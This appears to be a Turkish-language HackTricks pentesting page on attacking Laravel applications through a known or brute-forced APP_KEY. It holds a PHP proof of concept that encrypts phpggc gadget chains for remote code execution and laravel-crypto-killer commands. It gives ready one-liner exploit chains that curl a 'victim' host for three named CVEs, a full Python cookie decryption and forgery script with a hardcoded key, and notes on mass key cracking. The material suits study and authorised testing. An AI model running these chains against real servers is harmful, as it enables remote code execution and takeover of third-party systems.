199 lines
10 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Laravel
{{#include ../../banners/hacktricks-training.md}}
### Laravel SQLInjection
Bu konuda bilgi için burayı okuyun: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
## APP_KEY & Şifreleme iç yapıları (Laravel \u003e=5.6)
Laravel, arka planda HMAC bütünlüğü ile birlikte AES-256-CBC (veya GCM) kullanır (`Illuminate\\Encryption\\Encrypter`).
Sonunda **müşteriye gönderilen** ham şifreli metin, **şu şekilde bir JSON nesnesinin Base64'üdür**:
```json
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` varsayılan olarak metin düzünü `serialize()` ederken, `decrypt($payload, $unserialize=true)` **şifrelenmiş değeri otomatik olarak `unserialize()` edecektir.** Bu nedenle **32 baytlık gizli `APP_KEY`'i bilen herhangi bir saldırgan, şifrelenmiş bir PHP serileştirilmiş nesne oluşturabilir ve sihirli yöntemler (`__wakeup`, `__destruct`, …) aracılığıyla RCE elde edebilir.**
Minimal PoC (framework ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
Üretilen dizeyi herhangi bir savunmasız `decrypt()` sink'ine (route param, cookie, session, …) enjekte edin.
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) tüm süreci otomatikleştirir ve kullanışlı bir **bruteforce** modu ekler:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.
---
## Gerçek dünya zayıf desenleri
| Proje | Zayıf nokta | Gadget zinciri |
|-------|-------------|----------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` çerezi `Passport::withCookieSerialization()` etkin olduğunda | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` çerezi | Laravel/RCE15 |
Sömürü iş akışı her zaman:
1. 32 baytlık `APP_KEY`'i elde et veya brute-force ile bul.
2. **PHPGGC** ile bir gadget zinciri oluştur (örneğin `Laravel/RCE13`, `Laravel/RCE9` veya `Laravel/RCE15`).
3. Seri hale getirilmiş gadget'ı **laravel_crypto_killer.py** ve geri kazanılan `APP_KEY` ile şifrele.
4. Şifreli metni zayıf `decrypt()` noktasına (route parametresi, çerez, oturum …) ileterek **RCE**'yi tetikle.
Aşağıda, yukarıda bahsedilen her gerçek dünya CVE için tam saldırı yolunu gösteren kısa tek satırlık örnekler bulunmaktadır:
```bash
# Invoice Ninja ≤5 /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"
# Snipe-IT ≤6 XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login
# Crater cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
```
---
## Cookie brute-force ile toplu APP_KEY keşfi
Her yeni Laravel yanıtı en az 1 şifreli çerez (`XSRF-TOKEN` ve genellikle `laravel_session`) ayarladığı için, **kamusal internet tarayıcıları (Shodan, Censys, …) milyonlarca şifreli metin sızdırıyor** ve bunlar çevrimdışı olarak saldırıya uğrayabilir.
Synacktiv tarafından yayınlanan araştırmanın ana bulguları (2024-2025):
* Veri seti Temmuz 2024 » 580 k token, **%3.99 anahtar kırıldı** (≈23 k)
* Veri seti Mayıs 2025 » 625 k token, **%3.56 anahtar kırıldı**
* >1 000 sunucu hala eski CVE-2018-15133'e karşı savunmasız çünkü tokenlar doğrudan serileştirilmiş verileri içeriyor.
* Büyük anahtar yeniden kullanımı En iyi 10 APP_KEY, ticari Laravel şablonlarıyla birlikte gelen hard-coded varsayılanlardır (UltimatePOS, Invoice Ninja, XPanel, …).
Özel Go aracı **nounours**, AES-CBC/GCM brute-force verimliliğini ~1.5 milyar deneme/s'ye çıkararak, tam veri seti kırma süresini <2 dakikaya düşürüyor.
## Laravel Hileleri
### Hata ayıklama modu
Eğer Laravel **hata ayıklama modunda** ise, **kod** ve **hassas verilere** erişebileceksiniz.\
Örneğin `http://127.0.0.1:8000/profiles`:
![](<../../images/image (1046).png>)
Bu genellikle diğer Laravel RCE CVE'lerini istismar etmek için gereklidir.
### .env
Laravel, çerezleri ve diğer kimlik bilgilerini şifrelemek için kullandığı APP'yi `.env` adlı bir dosya içinde saklar ve bu dosyaya `/../.env` altında bazı yol geçişleri kullanarak erişilebilir.
Laravel, bu bilgiyi hata bulunduğunda ve etkinleştirildiğinde hata ayıklama sayfasında da gösterecektir.
Laravel'in gizli APP_KEY'sini kullanarak çerezleri şifreleyebilir ve yeniden şifreleyebilirsiniz:
### Çerezi Şifre Çözme
```python
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps
#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)
def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)
def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''
def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
```
### Laravel Deserialization RCE
Hassas sürümler: 5.5.40 ve 5.6.x 5.6.29'a kadar ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Burada deserialization zafiyeti hakkında bilgi bulabilirsiniz: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Bunu [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133) kullanarak test edebilir ve istismar edebilirsiniz.\
Ya da metasploit ile de istismar edebilirsiniz: `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129
Başka bir deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
## References
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite dAPP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
{{#include ../../banners/hacktricks-training.md}}